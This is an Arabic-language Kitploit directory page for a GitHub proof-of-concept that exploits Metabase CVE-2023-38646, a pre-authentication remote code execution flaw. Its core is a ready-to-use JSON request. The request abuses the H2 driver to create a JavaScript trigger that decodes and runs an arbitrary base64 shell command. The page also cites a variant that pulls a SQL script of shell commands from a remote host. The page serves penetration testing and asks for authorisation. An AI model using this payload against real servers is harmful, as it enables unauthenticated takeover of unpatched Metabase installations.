Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Another-Metabase-RCE-CVE-2023-38646 — Metabase postgres (org.h2.Driver) RCE بدون INIT | Kitploit
أدوات/GitHubGitHub/0utl4nder/another-metabase-rce-cve-2023-38646
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHub0utl4nder/another-metabase-rce-cve-2023-38646

Another-Metabase-RCE-CVE-2023-38646

Metabase postgres (org.h2.Driver) RCE بدون INIT

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
1منذ 2 سنواتلم تتم المراجعة بعد

تمديد ثغرة RCE قبل المصادقة في Metabase (CVE-2023-38646) موضحة هنا

ساعدني هذا في تجنب أخطاء متعلقة بـ "قاعدة البيانات قيد الاستخدام بالفعل" (مع H2 و Postgre كمحركات)

root@kitploit:~
{
"token": "TOKEN",
"details":
{
 "is_on_demand": false,
 "is_full_sync": false,
 "is_sample": false,
 "cache_ttl": null,
 "refingerprint": false,
 "auto_run_queries": true,
 "schedules":{},
 "details":
 {
  "advanced-options":true,
  "classname":"org.h2.Driver",
  "subname": "./metabase.jar;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER xel BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}')\n$$--=x",
  "subprotocol": "h2"
 },
 "engine": "postgres",
 "name": "x"
}}

بدلاً من استخدام h2 مباشرة كمحرك مع سكريبت INIT، نظرًا لأنه تمت إزالته من استعلاماتنا، ما زلنا نستخدم استعلام قاعدة البيانات لمحرك h2

سكريبت INIT mem;test;INIT=RUNSCRIPT FROM 'http://10.10.10.10/sqlcmd.sql'

في ملف .sql تحدد طريقة تنفيذ أوامر الشل

REFERENCE

https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase

كُتب كملاحظة، اعتبره وثائق غامضة، يجب أن يكون لديك إذن لتعداد الثغرات أو استغلالها أو ببساطة اختبار أي هدف

التعليقات والمساهمات مرحب بها

تنزيل الأداة